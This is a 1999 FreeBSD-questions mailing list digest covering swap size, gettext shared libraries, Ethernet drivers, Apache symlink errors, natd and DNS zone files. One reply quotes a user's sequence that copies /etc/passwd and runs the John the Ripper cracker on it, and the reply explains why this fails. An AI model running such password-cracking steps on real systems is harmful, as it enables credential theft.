To: Peter Brezny <peter@cyber1.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: swap file size
In-Reply-To: <Pine.LNX.4.02.9903241433140.10069-100000@lms1.cyber1.net>
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> it appears that the default swap file size on install is about twice the
> installed ram...
> 
> is a smaller swap size better for a 2.2.8 machine that is going to be
> strictly used as a web server?  one closer to the actual size of the ram
> in the box?

	Personally if I have hard drive space to waste I let my swap be 
about 3-4 times larger then my total ram. This way I can add more fairly 
easily. If I'm short on space I still try to have at least twice as much. 
I'd be interested in discussions on this though. Perhaps what I'm doing 
is way out of line? :)


					Rick


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From owner-freebsd-questions  Wed Mar 24 12:43:35 1999
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From: Tony <tbrock@mail.phoenix.net>
Reply-To: tbrock@mail.phoenix.net
To: freebsd-questions@freebsd.org
Subject: gettext and shared libintl.so
Date: Wed, 24 Mar 1999 14:26:30 -0600
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I'm having troubles understanding if libintl.so.1 should be built by the 
gettext-0.10.35 source.  Here's what prompted the search and what I've done so
far.
After installing the gnome packages and watching them fail due to a missing
libintl.so.1 I started snooping around.

gnome-sessions ldd reports

fdho-wx# ldd gnome-session 
gnome-session: 
	libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x28055000) 
	libjpeg.so.9 => /usr/local/lib/libjpeg.so.9 (0x28062000) 
	libpng.so.3 => /usr/local/lib/libpng.so.3 (0x2807e000) 
	libz.so.2 => /usr/lib/libz.so.2 (0x28098000) 
	libtiff.so.4 => /usr/local/lib/libtiff.so.4 (0x280a5000) 
	libgif.so.3 => /usr/local/lib/libgif.so.3 (0x280d4000) 
	libgnomeui.so.1 => /usr/X11R6/lib/libgnomeui.so.1 (0x280dc000) 
	libart_lgpl.so.1 => /usr/X11R6/lib/libart_lgpl.so.1 (0x2818d000) 
	libgdk_imlib.so.3 => /usr/X11R6/lib/libgdk_imlib.so.3 (0x28199000) 
	libSM.so.6 => /usr/X11R6/lib/libSM.so.6 (0x281ba000) 
	libICE.so.6 => /usr/X11R6/lib/libICE.so.6 (0x281c2000) 
	libgtk12.so.1 => /usr/X11R6/lib/libgtk12.so.1 (0x281d6000) 
	libgdk12.so.1 => /usr/X11R6/lib/libgdk12.so.1 (0x282e3000) 
	libgmodule12.so.1 => /usr/local/lib/libgmodule12.so.1 (0x28312000) 
	libXext.so.6 => /usr/X11R6/lib/libXext.so.6 (0x28315000) 
	libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x2831f000) 
	libgnome.so.1 => /usr/X11R6/lib/libgnome.so.1 (0x283b2000) 
	libgnomesupport.so.1 => /usr/X11R6/lib/libgnomesupport.so.1 (0x283c4000) 
	libesd.so.1 => /usr/local/lib/libesd.so.1 (0x283ca000) 
	libaudiofile.so.0 => /usr/local/lib/libaudiofile.so.0 (0x283cf000) 
	libm.so.2 => /usr/lib/libm.so.2 (0x283db000) 
	libglib12.so.1 => /usr/local/lib/libglib12.so.1 (0x283f5000) 
	libintl.so.1 => not found (0x0) 
	libxpg4.so.2 => /usr/lib/libxpg4.so.2 (0x28414000) 
	libc.so.3 => /usr/lib/libc.so.3 (0x28418000) 


Notice the missing library.  I found a libintl.a (archive) in /usr/local/lib
but from what I understand that's not a shared library and cannot be made into
one so I downloaded the port gettext-0.10.35.tar.gz file, tried the
devel/gettext port with no luck and then tried to force a shared library out of
it like so...


fdho-wx# ./configure --prefix=/usr/local/test --enable-shared 
loading cache ./config.cache 
checking for a BSD compatible install... (cached) /usr/bin/install -c 
checking whether build environment is sane... yes 
checking whether make sets ${MAKE}... (cached) yes 
checking for working aclocal... missing 
checking for working autoconf... missing 
checking for working automake... missing 
checking for working autoheader... missing 
checking for working makeinfo... found 
checking host system type... i386-unknown-freebsd3.1 
checking for ranlib... (cached) ranlib 
checking for gcc... (cached) gcc 
checking whether the C compiler (gcc  ) works... yes 
checking whether the C compiler (gcc  ) is a cross-compiler... no 
checking whether we are using GNU C... (cached) yes 
checking whether gcc accepts -g... (cached) yes 
checking for ld used by GCC... (cached) /usr/libexec/elf/ld 
checking if the linker (/usr/libexec/elf/ld) is GNU ld... (cached) yes 
checking for BSD-compatible nm... (cached) /usr/bin/nm -B 
checking whether ln -s works... (cached) yes 
checking for gcc option to produce PIC... -fPIC 
checking if gcc PIC flag -fPIC works... yes 
checking if gcc static flag -static works... -static 
checking if the linker (/usr/libexec/elf/ld) is GNU ld... yes 
checking whether the linker (/usr/libexec/elf/ld) supports shared libraries... yes 
checking command to parse /usr/bin/nm -B output... yes 
checking how to hardcode library paths into programs... immediate 
checking for /usr/libexec/elf/ld option to reload object files... -r 
checking dynamic linker characteristics... freebsd3.1 ld.so 
checking if libtool supports shared libraries... yes 
checking whether to build shared libraries... yes 
checking whether to build static libraries... yes 
checking for objdir... .libs 
creating libtool 
checking for gcc... (cached) gcc 
checking whether the C compiler (gcc -g -O2 ) works... yes 
checking whether the C compiler (gcc -g -O2 ) is a cross-compiler... no 
checking whether we are using GNU C... (cached) yes 
checking whether gcc accepts -g... (cached) yes 
checking for POSIXized ISC... no 
checking for bison... (cached) bison -y 
checking how to run the C preprocessor... (cached) gcc -E 
checking for ANSI C header files... (cached) yes 
checking for limits.h... (cached) yes 
checking for malloc.h... (cached) no 
checking for string.h... (cached) yes 
checking for unistd.h... (cached) yes 
checking for values.h... (cached) no 
checking for working const... (cached) yes 
checking for inline... (cached) inline 
checking for off_t... (cached) yes 
checking for size_t... (cached) yes 
checking for ptrdiff_t... (cached) yes 
checking for working alloca.h... (cached) no 
checking for alloca... (cached) yes 
checking for vprintf... (cached) yes 
checking for getcwd... (cached) yes 
checking for mblen... (cached) yes 
checking for memcpy... (cached) yes 
checking for strchr... (cached) yes 
checking for strerror... (cached) yes 
checking for uname... (cached) yes 
checking for getline... (cached) no 
checking for memmove... (cached) yes 
checking for memset... (cached) yes 
checking for stpcpy... (cached) no 
checking for stpncpy... (cached) no 
checking for strcspn... (cached) yes 
checking for strncasecmp... (cached) yes 
checking for strstr... (cached) yes 
checking for strtoul... (cached) yes 
checking for vasprintf... (cached) yes 
checking for getdelim... (cached) no 
checking for parse_printf_format... (cached) no 
checking for error_at_line... (cached) no 
checking for unistd.h... (cached) yes 
checking for getpagesize... (cached) yes 
checking for working mmap... (cached) yes 
checking for argz.h... (cached) no 
checking for limits.h... (cached) yes 
checking for locale.h... (cached) yes 
checking for nl_types.h... (cached) yes 
checking for malloc.h... (cached) no 
checking for string.h... (cached) yes 
checking for unistd.h... (cached) yes 
checking for sys/param.h... (cached) yes 
checking for getcwd... (cached) yes 
checking for munmap... (cached) yes 
checking for putenv... (cached) yes 
checking for setenv... (cached) yes 
checking for setlocale... (cached) yes 
checking for strchr... (cached) yes 
checking for strcasecmp... (cached) yes 
checking for strdup... (cached) yes 
checking for __argz_count... (cached) no 
checking for __argz_stringify... (cached) no 
checking for __argz_next... (cached) no 
checking for LC_MESSAGES... (cached) yes 
checking whether NLS is requested... yes 
checking whether included gettext is requested... no 
checking for libintl.h... (cached) no 
checking whether catgets can be used... no 
checking for msgfmt... (cached) /usr/local/bin/msgfmt 
checking for gmsgfmt... (cached) /usr/local/bin/msgfmt 
checking for xgettext... (cached) /usr/local/bin/xgettext 
checking for catalogs to be installed...  da de es fr ko nl no no@nynorsk pl pt sl sv 
checking for emacs... (cached) no 
updating cache ./config.cache 
creating ./config.status 
creating Makefile 
creating lib/Makefile 
creating intl/Makefile 
creating src/Makefile 
creating po/Makefile.in 
creating doc/Makefile 
creating tests/Makefile 
creating m4/Makefile 
creating misc/Makefile 
creating misc/gettextize 
creating intl/intlh.inst 
creating config.h 
config.h is unchanged 
linking ./intl/libgettext.h to intl/libintl.h 

After a successful gmake and gmake install I ended up with exactly what the
packaged gettext-0.10.35 gave me. Any idea how I can force a shared libintl.so.1
out of this puppy or am I going about this the wrong way?

TIA 

Tony


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From owner-freebsd-questions  Wed Mar 24 12:46:56 1999
Delivered-To: freebsd-questions@freebsd.org
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	(envelope-from michael.cugley@virgin.net)
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Date: Wed, 24 Mar 1999 01:07:52 +0000
To: Eric Webster <ericw@oz.net>, freebsd-questions@FreeBSD.ORG
From: Michael Cugley <michael.cugley@virgin.net>
Subject: Re: Installing BSD From DOS Partition
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The problem is that, despite what it says in the install docs, you actually
need to have the files one directory up; that is, instead of:

c:\
	\freebsd\
		\bin\
		\catpages\
		\compat1x\
		....

You need:

c:\
	\bin\
	\catpages\
	\compat1x\
	....

I'm pretty sure that his information is somewhere in the docs, but I can't
recall where off-hand.
--  
			Mike Cugley, lunatic at large

http://freespace.virgin.net/michael.cugley/
http://freespace.virgin.net/michael.cugley/Art/
Mike's Doom Quake - http://www.crosswinds.net/dundee/~korvar/


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From owner-freebsd-questions  Wed Mar 24 12:50:24 1999
Delivered-To: freebsd-questions@freebsd.org
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 freebsd-questions@FreeBSD.ORG; Wed, 24 Mar 1999 12:46:46 -0800 (PST)
Date: Wed, 24 Mar 1999 12:44:51 -0800
From: James Brown <jamesbrown@cwix.com>
Subject: Kingston KNE110TX and de0 compatible?
To: freebsd-questions@FreeBSD.ORG
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hello,

i've got a Kingston KNE110TX ethernet card and FreeBSD 2.2.7.  i noticed
that the KNE100TX uses the DEC 21140 and should be compatible with the
de0 device.  i was hoping the 100 and 110 would be similar enough to use
the same driver and added de0 to my kernel.  it doesn't see the 110.

i had a similar experience with the 3com 905 and 905B under 2.2.7 and
had to get a new xl0 driver before the B card would work (that xl0
driver is now included with 2.2.8).  does anybody know of similar issues
with the KNE100TX vs. the KNE110TX?

thanks everybody,
james




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From owner-freebsd-questions  Wed Mar 24 12:55:16 1999
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From: Mark Bermal <mark@ieng9.ucsd.edu>
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Subject: Re: Gimp/GTK install troubles (with logs!)
In-Reply-To: <Pine.BSF.4.05.9903241250590.21293-100000@peloton.physics.montana.edu>
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I installed glib12 from the ports collection. I did a
 "cd /usr/ports/devel/glib12"
 make install

I'm using freebsd 3.0-RELEASE, with an updated ports tree and the ports
upgrade package. Other ports seem to work just fine (I was able to compile
and run both freeciv 1.7.2 and licq)
What should I do now?

Thanks for the help!

Mark Bermal


On Wed, 24 Mar 1999, Brett Taylor
wrote:

> Hi,
> 
> On Wed, 24 Mar 1999, Mark Bermal wrote:
> 
> -mucho configure junk snipped-
> 
> > checking for gtk-config... /usr/X11R6/bin/gtk12-config
> > checking for GTK - version >= 1.1.13... no
> > *** Could not run GTK test program, checking why...
> 
> okay...
> 
> > configure:4620: cc -o conftest -O -pipe -I/usr/X11R6/include/gtk12
> > -I/usr/X11R6/include -I/usr/local/include/glib12 -I/usr/local/include
> > conftest.c -L/usr/local/lib -L/usr/X11R6/lib -L/usr/X11R6/lib -lgtk12
> > -lgdk12 -L/usr/local/lib -Wl,-E -lgmodule12 -lglib12 -lintl -lXext
> > -lX11 -lm 1>&5
> 
> > /usr/local/lib/libglib12.so: undefined reference to `localtime_r'
> > configure: failed program was:
> > #line 4610 "configure"
> > #include "confdefs.h"
> 
> Hmmm... that's strange.  I just built gimp-1.1.2 a week ago and I have
> localtime_r in my glib12.  How did you install glib?  What version of
> FreeBSD are you using?
> 
> Brett
> ***********************************************************
> Brett Taylor            brett@peloton.physics.montana.edu *
>                         brett@daemonnews.org              *
> 							  *
> 			http://www.daemonnews.org/        *
> ***********************************************************
> 
> 



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From owner-freebsd-questions  Wed Mar 24 12:58:49 1999
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Date: Wed, 24 Mar 1999 16:02:28 -0500 (EST)
From: hometeam <hometeam@techpower.net>
To: "Corey A. Christians" <cchrstns@sdln.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Compiling perl on FreeBSD 3.0
In-Reply-To: <00a701be762e$c9c5a8e0$5dfc34cc@sdln.net>
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perl-5.00502 is marked as broken: perl is in system.


On Wed, 24 Mar 1999, Corey A. Christians wrote:

> Recently I tried to compile the newest version of PERL on FreeBSD 3.0.  The problem that I cnofronted is that it would not compile.  Has anyone else run into this problem?  I finally went back to 2.2.8 and then Perl compiled so it has to be something with the newest version. 
> 
> ~~~~~~~~~~~~~~
> | Corey Christians
> | South Dakota Library Network
> | Programmer/Analyst
> | Phone:  605-642-6732
> |1200 University, Spearfish, SD, 57799
> 



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From owner-freebsd-questions  Wed Mar 24 12:59:44 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Tony <tbrock@mail.phoenix.net>
Reply-To: tbrock@mail.phoenix.net
To: freebsd-questions@freebsd.org
Subject: Re: gettext and shared libintl.so NEVERMIND...
Date: Wed, 24 Mar 1999 14:58:02 -0600
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NEVERMIND this question.  I forcibly ftp'ed a current port and everything works
great.  I just need to research what changed so I can do these things myself.

Sorry!

Tony

On Wed, 24 Mar 1999, Tony wrote:
> I'm having troubles understanding if libintl.so.1 should be built by the 
> gettext-0.10.35 source.  Here's what prompted the search and what I've done so
> far.
> After installing the gnome packages and watching them fail due to a missing
> libintl.so.1 I started snooping around.
> 
> gnome-sessions ldd reports
> 
> fdho-wx# ldd gnome-session 
> gnome-session: 
> 	libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x28055000) 
> 	libjpeg.so.9 => /usr/local/lib/libjpeg.so.9 (0x28062000) 
> 	libpng.so.3 => /usr/local/lib/libpng.so.3 (0x2807e000) 
> 	libz.so.2 => /usr/lib/libz.so.2 (0x28098000) 
> 	libtiff.so.4 => /usr/local/lib/libtiff.so.4 (0x280a5000) 
> 	libgif.so.3 => /usr/local/lib/libgif.so.3 (0x280d4000) 
> 	libgnomeui.so.1 => /usr/X11R6/lib/libgnomeui.so.1 (0x280dc000) 
> 	libart_lgpl.so.1 => /usr/X11R6/lib/libart_lgpl.so.1 (0x2818d000) 
> 	libgdk_imlib.so.3 => /usr/X11R6/lib/libgdk_imlib.so.3 (0x28199000) 
> 	libSM.so.6 => /usr/X11R6/lib/libSM.so.6 (0x281ba000) 
> 	libICE.so.6 => /usr/X11R6/lib/libICE.so.6 (0x281c2000) 
> 	libgtk12.so.1 => /usr/X11R6/lib/libgtk12.so.1 (0x281d6000) 
> 	libgdk12.so.1 => /usr/X11R6/lib/libgdk12.so.1 (0x282e3000) 
> 	libgmodule12.so.1 => /usr/local/lib/libgmodule12.so.1 (0x28312000) 
> 	libXext.so.6 => /usr/X11R6/lib/libXext.so.6 (0x28315000) 
> 	libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x2831f000) 
> 	libgnome.so.1 => /usr/X11R6/lib/libgnome.so.1 (0x283b2000) 
> 	libgnomesupport.so.1 => /usr/X11R6/lib/libgnomesupport.so.1 (0x283c4000) 
> 	libesd.so.1 => /usr/local/lib/libesd.so.1 (0x283ca000) 
> 	libaudiofile.so.0 => /usr/local/lib/libaudiofile.so.0 (0x283cf000) 
> 	libm.so.2 => /usr/lib/libm.so.2 (0x283db000) 
> 	libglib12.so.1 => /usr/local/lib/libglib12.so.1 (0x283f5000) 
> 	libintl.so.1 => not found (0x0) 
> 	libxpg4.so.2 => /usr/lib/libxpg4.so.2 (0x28414000) 
> 	libc.so.3 => /usr/lib/libc.so.3 (0x28418000) 
> 
> 
> Notice the missing library.  I found a libintl.a (archive) in /usr/local/lib
> but from what I understand that's not a shared library and cannot be made into
> one so I downloaded the port gettext-0.10.35.tar.gz file, tried the
> devel/gettext port with no luck and then tried to force a shared library out of
> it like so...
> 
> 
> fdho-wx# ./configure --prefix=/usr/local/test --enable-shared 
> loading cache ./config.cache 
> checking for a BSD compatible install... (cached) /usr/bin/install -c 
> checking whether build environment is sane... yes 
> checking whether make sets ${MAKE}... (cached) yes 
> checking for working aclocal... missing 
> checking for working autoconf... missing 
> checking for working automake... missing 
> checking for working autoheader... missing 
> checking for working makeinfo... found 
> checking host system type... i386-unknown-freebsd3.1 
> checking for ranlib... (cached) ranlib 
> checking for gcc... (cached) gcc 
> checking whether the C compiler (gcc  ) works... yes 
> checking whether the C compiler (gcc  ) is a cross-compiler... no 
> checking whether we are using GNU C... (cached) yes 
> checking whether gcc accepts -g... (cached) yes 
> checking for ld used by GCC... (cached) /usr/libexec/elf/ld 
> checking if the linker (/usr/libexec/elf/ld) is GNU ld... (cached) yes 
> checking for BSD-compatible nm... (cached) /usr/bin/nm -B 
> checking whether ln -s works... (cached) yes 
> checking for gcc option to produce PIC... -fPIC 
> checking if gcc PIC flag -fPIC works... yes 
> checking if gcc static flag -static works... -static 
> checking if the linker (/usr/libexec/elf/ld) is GNU ld... yes 
> checking whether the linker (/usr/libexec/elf/ld) supports shared libraries... yes 
> checking command to parse /usr/bin/nm -B output... yes 
> checking how to hardcode library paths into programs... immediate 
> checking for /usr/libexec/elf/ld option to reload object files... -r 
> checking dynamic linker characteristics... freebsd3.1 ld.so 
> checking if libtool supports shared libraries... yes 
> checking whether to build shared libraries... yes 
> checking whether to build static libraries... yes 
> checking for objdir... .libs 
> creating libtool 
> checking for gcc... (cached) gcc 
> checking whether the C compiler (gcc -g -O2 ) works... yes 
> checking whether the C compiler (gcc -g -O2 ) is a cross-compiler... no 
> checking whether we are using GNU C... (cached) yes 
> checking whether gcc accepts -g... (cached) yes 
> checking for POSIXized ISC... no 
> checking for bison... (cached) bison -y 
> checking how to run the C preprocessor... (cached) gcc -E 
> checking for ANSI C header files... (cached) yes 
> checking for limits.h... (cached) yes 
> checking for malloc.h... (cached) no 
> checking for string.h... (cached) yes 
> checking for unistd.h... (cached) yes 
> checking for values.h... (cached) no 
> checking for working const... (cached) yes 
> checking for inline... (cached) inline 
> checking for off_t... (cached) yes 
> checking for size_t... (cached) yes 
> checking for ptrdiff_t... (cached) yes 
> checking for working alloca.h... (cached) no 
> checking for alloca... (cached) yes 
> checking for vprintf... (cached) yes 
> checking for getcwd... (cached) yes 
> checking for mblen... (cached) yes 
> checking for memcpy... (cached) yes 
> checking for strchr... (cached) yes 
> checking for strerror... (cached) yes 
> checking for uname... (cached) yes 
> checking for getline... (cached) no 
> checking for memmove... (cached) yes 
> checking for memset... (cached) yes 
> checking for stpcpy... (cached) no 
> checking for stpncpy... (cached) no 
> checking for strcspn... (cached) yes 
> checking for strncasecmp... (cached) yes 
> checking for strstr... (cached) yes 
> checking for strtoul... (cached) yes 
> checking for vasprintf... (cached) yes 
> checking for getdelim... (cached) no 
> checking for parse_printf_format... (cached) no 
> checking for error_at_line... (cached) no 
> checking for unistd.h... (cached) yes 
> checking for getpagesize... (cached) yes 
> checking for working mmap... (cached) yes 
> checking for argz.h... (cached) no 
> checking for limits.h... (cached) yes 
> checking for locale.h... (cached) yes 
> checking for nl_types.h... (cached) yes 
> checking for malloc.h... (cached) no 
> checking for string.h... (cached) yes 
> checking for unistd.h... (cached) yes 
> checking for sys/param.h... (cached) yes 
> checking for getcwd... (cached) yes 
> checking for munmap... (cached) yes 
> checking for putenv... (cached) yes 
> checking for setenv... (cached) yes 
> checking for setlocale... (cached) yes 
> checking for strchr... (cached) yes 
> checking for strcasecmp... (cached) yes 
> checking for strdup... (cached) yes 
> checking for __argz_count... (cached) no 
> checking for __argz_stringify... (cached) no 
> checking for __argz_next... (cached) no 
> checking for LC_MESSAGES... (cached) yes 
> checking whether NLS is requested... yes 
> checking whether included gettext is requested... no 
> checking for libintl.h... (cached) no 
> checking whether catgets can be used... no 
> checking for msgfmt... (cached) /usr/local/bin/msgfmt 
> checking for gmsgfmt... (cached) /usr/local/bin/msgfmt 
> checking for xgettext... (cached) /usr/local/bin/xgettext 
> checking for catalogs to be installed...  da de es fr ko nl no no@nynorsk pl pt sl sv 
> checking for emacs... (cached) no 
> updating cache ./config.cache 
> creating ./config.status 
> creating Makefile 
> creating lib/Makefile 
> creating intl/Makefile 
> creating src/Makefile 
> creating po/Makefile.in 
> creating doc/Makefile 
> creating tests/Makefile 
> creating m4/Makefile 
> creating misc/Makefile 
> creating misc/gettextize 
> creating intl/intlh.inst 
> creating config.h 
> config.h is unchanged 
> linking ./intl/libgettext.h to intl/libintl.h 
> 
> After a successful gmake and gmake install I ended up with exactly what the
> packaged gettext-0.10.35 gave me. Any idea how I can force a shared libintl.so.1
> out of this puppy or am I going about this the wrong way?
> 
> TIA 
> 
> Tony
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Wed Mar 24 13: 6:46 1999
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To: <freebsd-questions@freebsd.org>
Subject: Apache SymLink problem...
Date: Wed, 24 Mar 1999 15:03:35 -0600
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I keep seeing this in my error log:

[error] [client 206.52.136.50] Symbolic link not allowed:
/usr/local/www/cgi-bin/pmmon/

Here is what I have in my httpd.conf file:

#
    Options Indexes FollowSymLinks Includes ExecCGI
#
# This controls which options the .htaccess files in directories can
# override. Can also be "All", or any combination of "Options", "FileInfo",
# "AuthConfig", and "Limit"
#
    AllowOverride AuthConfig

#
# Controls who can get stuff from this server.
#
    Order allow,deny
    Allow from all
</Directory>

<Directory /usr/local/www/cgi-bin>
AllowOverride None
Options FollowSymLinks
</Directory>

<Directory /usr/home/pmmon/public_html>
AllowOverride All
Options Includes ExecCGI FollowSymLinks
</Directory>

Also, when I head out to http://206.52.136.50/cgi-bin/pmmon/pmshow the
server tells me:

Forbidden

You don't have permission to access /cgi-bin/pmmon/pmshow on this server.

How can that be?  Here are the permissions for the user 'pmmon' in the
/usr/home/pmmon/cgi-bin/ directory:

-rwxr-xr-x  1 pmmon  pmmon  12288 Mar 19 10:23 pmshow

Any ideas?

^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ Darin Spence
                                 darin@radio-inc.com
 Director of Information Technology > R A D I O, INC
                     (785) 628-1064, ext. 22 > Phone
                            http://www.media-net.net



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From owner-freebsd-questions  Wed Mar 24 13: 9:11 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 09:06:19 +1200 (NZST)
From: Jonathan Chen <jonc@pinnacle.co.nz>
To: "Corey A. Christians" <cchrstns@sdln.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Pentium III question
In-Reply-To: <007d01be7619$8118d1e0$5dfc34cc@sdln.net>
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On Wed, 24 Mar 1999, Corey A. Christians wrote:

> 
> Does FreeBSD version 2.2.8 work okay with the new pentium III processors.
> The company I work for bought one and I want to put FreeBSD on it to operate
> as a web server.  Thank you!

Yes. Try 3.1-RELEASE, though.

Jonathan Chen                |     "In prosperity our friends know us;
                             |      in adversity we know our friends."
                             |                  - John Churton Collins



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From owner-freebsd-questions  Wed Mar 24 13:14:17 1999
Delivered-To: freebsd-questions@freebsd.org
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	Thu, 25 Mar 1999 09:14:11 +1200 (NZST)
Date: Thu, 25 Mar 1999 09:14:11 +1200 (NZST)
From: Jonathan Chen <jonc@pinnacle.co.nz>
To: Tony <tbrock@mail.phoenix.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: gettext and shared libintl.so
In-Reply-To: <99032414430300.93033@fdho-wx.fdnet.com>
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On Wed, 24 Mar 1999, Tony wrote:

> I'm having troubles understanding if libintl.so.1 should be built by the 
> gettext-0.10.35 source.  Here's what prompted the search and what I've done so
> far.

Had a similar problem yesterday night when I was trying to build the
latest windowmaker-i18n. What I did ended up doing was removing the
gettext port, retrieving the latest from ftp.freebsd.org, and voila!
The shared-library version was built.
--
Jonathan Chen                |     "In prosperity our friends know us;
                             |      in adversity we know our friends."
                             |                  - John Churton Collins



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From owner-freebsd-questions  Wed Mar 24 13:18:24 1999
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Date: Wed, 24 Mar 1999 13:18:01 -0800
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Subject: natd problem
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I am a university instructor of a network admin course that has been using
freebsd unix for 2 years, we are currently using 2.2.7.  We are trying natd
for the first time ever.  And after checking all available documentation we
are stumped as to why we can't even ping one hop from the gateway to a
public network machine while natd is running.
We have followed the instructions on the man page exactly!
We can ping from the internal machine to the gateway and visa versa.  But
not through the gateway to the public network.  And more interestingly, not
even from the gateway machine to the public network (one hop!).  When we
kill natd and remove the divert firewall rule, ping is successful in all
ways, including relay through the gateway, so the connectivity and routing
is good.

The divert rule firewall timestamp is showing that it is being used at the
time we attempt to pings, so the firewall is running.  And the firewall
only has the specified 2 rules plus the final 65535 deny rule.   Also, we
found that running natd in verbose mode generated no error messages.  And
running in log mode didn't seem to generate any log in alias.log.

We have spent hours on this, and are beginning to disagree with the man
page that states "Running natd is fairly straight forward".  Can you give
us another pointer or two on where to look for some error in our setup.

Thanks VERY much,
Russ Tront, Instructor
School of Computer Science
Simon Fraser University
Burnaby, B.C.  V5A 1S6
Canada.



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From owner-freebsd-questions  Wed Mar 24 13:22:35 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Thu, 25 Mar 1999 09:02:01 +1200 (NZST)
From: Jonathan Chen <jonc@pinnacle.co.nz>
To: pirat@center.oaep.go.th
Cc: questions@FreeBSD.ORG
Subject: Re: /etc/passwd file
In-Reply-To: <XFMail.990324171835.pirat@center.oaep.go.th>
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On Wed, 24 Mar 1999 pirat@center.oaep.go.th wrote:

[...]
> cp /etc/passwd .
> ls -l
> ./john -single passwd
> ls -l
> cat password.lst

[...]
> shall he finally know the user's password from the sequence of his action shown
> above ?
> 

Nah.  There's nothing in /etc/passwd except for the user-names; the
real stuff is kept in /etc/master.passwd, which should be root-owned,
mode 0600.
--
Jonathan Chen                |     "In prosperity our friends know us;
                             |      in adversity we know our friends."
                             |                  - John Churton Collins



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From owner-freebsd-questions  Wed Mar 24 13:27:58 1999
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Date: Wed, 24 Mar 1999 20:37:33 +0000
From: Ben Smithurst <ben@scientia.demon.co.uk>
To: Christopher Michaels <ChrisMic@clientlogic.com>
Cc: freebsd-questions@freebsd.org
Subject: Re: moving /tmp to /var/tmp caused network trouble
Message-ID: <19990324203733.A57049@scientia.demon.co.uk>
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Christopher Michaels wrote:

> Maybe I'm just totally confused.  But I thought "." was the current
> directory, which in this case was the root dir "/".  Or am I missing
> something here?

Yes - you haven't read the manual for ln(1) thoroughly enough :-)

If the last argument is a directory, the links will be placed in that
directory, with the same name as the original file.

So,

# cd /
# ln -s /var/tmp .

is the same as

# cd /
# ln -s /var/tmp tmp

which is the same as

# ln -s /var/tmp /tmp

Hopefully you understand now, if not the manpage for ln(1) should clear
things up.

-- 
Ben Smithurst
ben@scientia.demon.co.uk

send a blank message to ben+pgp@scientia.demon.co.uk for PGP key


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From owner-freebsd-questions  Wed Mar 24 13:28:28 1999
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To: "Corey A. Christians" <cchrstns@sdln.net>
Cc: <freebsd-questions@FreeBSD.ORG>
Subject: Re: Compiling perl on FreeBSD 3.0
References: <00a701be762e$c9c5a8e0$5dfc34cc@sdln.net>
From: Anton Berezin <tobez@plab.ku.dk>
Date: 24 Mar 1999 22:27:25 +0100
In-Reply-To: "Corey A. Christians"'s message of Wed, 24 Mar 1999 12:44:53 -0700
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"Corey A. Christians" <cchrstns@sdln.net> writes:

> Recently I tried to compile the newest version of PERL on FreeBSD
> 3.0.  = The problem that I cnofronted is that it would not compile.
> Has anyone = else run into this problem?  I finally went back to
> 2.2.8 and then Perl = compiled so it has to be something with the
> newest version.=20

You have not provided sufficient information to get help.

How did you build it?  From ports?  Or directly from CPAN
distribution?  If so, then:

Version of perl?  (``Recent'' is just not enough).  How did you do
Configure (command line options supplied, your responces which were
different from defaults)?  Did you try to build threaded perl?

That's all important.

Tell us more, and we will probably be able to help you.

-- 
Anton Berezin <tobez@plab.ku.dk>
The Protein Laboratory, University of Copenhagen


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From owner-freebsd-questions  Wed Mar 24 13:31:20 1999
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Date: Wed, 24 Mar 1999 16:30:16 -0500
To: Dan Busarow <dan@dpcsys.com>, gregm@netidea.com
From: "James A. Mutter" <jm7996@devrycols.edu>
Subject: Re: speed of DNS
Cc: freebsd-questions@FreeBSD.ORG
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>Which primer?  It's wrong.  The resolver code will always try to find
>a nameserver for 1.168.192.in-addr.arpa (in your case) when doing
>reverse lookups.  It won't find one in your setup.


There is a much better primer/tutorial/example at:

	http://www.dvl-software.com/freebsd/localnames.htm

The URL doesn't reflect it, but that's the FreeBSD Diary - an excellent
site for quick reference docs.

>
>> called from named.boot. I'm using the names supplied by the primer for 
>> humours sake but changed them for my machines. I'm using 2.2.6-
>> RELEASE if that makes any difference. BTW ftp is slow to connect as well. 
>> Thanks for the suggestion ... I learned some more in investigating it 8>)
>> Greg.
>> gregm@netidea.com
>> 
>> @	IN SOA	 my.domain. root.my.domain.  (	
>> 			 961230	; Serial	
>> 			 3600	; Refresh
>> 			 900	; Retry		
>> 			 3600000	; Expire	
>> 			 3600 )	; Minimum	
>> 	IN NS	curly.my.domain.
>> 
>> curly.my.domain.		IN A	192.168.1.1	# The FreeBSD box
>> larry.my.domain.		IN A	192.168.1.2	
>> moe.my.domain.		IN A	192.168.1.3	
>> shemp.my.domain.	IN A	192.168.1.4	
>
>Up to here the zone is correct.
>
>> $ORIGIN 1.168.192.IN-ADDR.ARPA
>> 		IN NS	curly.my.domain.
>> 1		IN PTR	curly.my.domain.
>> 2		IN PTR	larry.my.domain.
>> 3		IN PTR	moe.my.domain.
>> 4		IN PTR	shemp.my.domain.
>
>These entries need to be in db.192.168.1 and be listed in named.boot as
>
>primary 1.168.192.in-addr.arpa db.192.168.1
>
>> $ORIGIN 0.0.127.IN-ADDR.ARPA		
>> 		IN NS	curly.my.domain.
>> 1		IN PTR	localhost.my.domain.
>
>And this needs to be in db.localhost and be listed in named.boot as
>
>primary 0.0.127.in-addr.arpa db.localhost
>
>(you can change the file names, just make sure named.boot and the files
>agree)
>
>Oh, leave the $ORIGIN line out of both new files also, it's redundant.
>Both of the new files also need the same SOA section at the top
>
>@	IN SOA	 my.domain. root.my.domain.  (	
> 			 961230	; Serial	
> 			 3600	; Refresh
> 			 900	; Retry		
> 			 3600000	; Expire	
> 			 3600 )	; Minimum	
> 	IN NS	curly.my.domain.
>
>The NS record isn't, strictly speaking, part of the SOA but it is
>also needed in each file.
>
>Dan
>-- 
> Dan Busarow                                                  949 443 4172
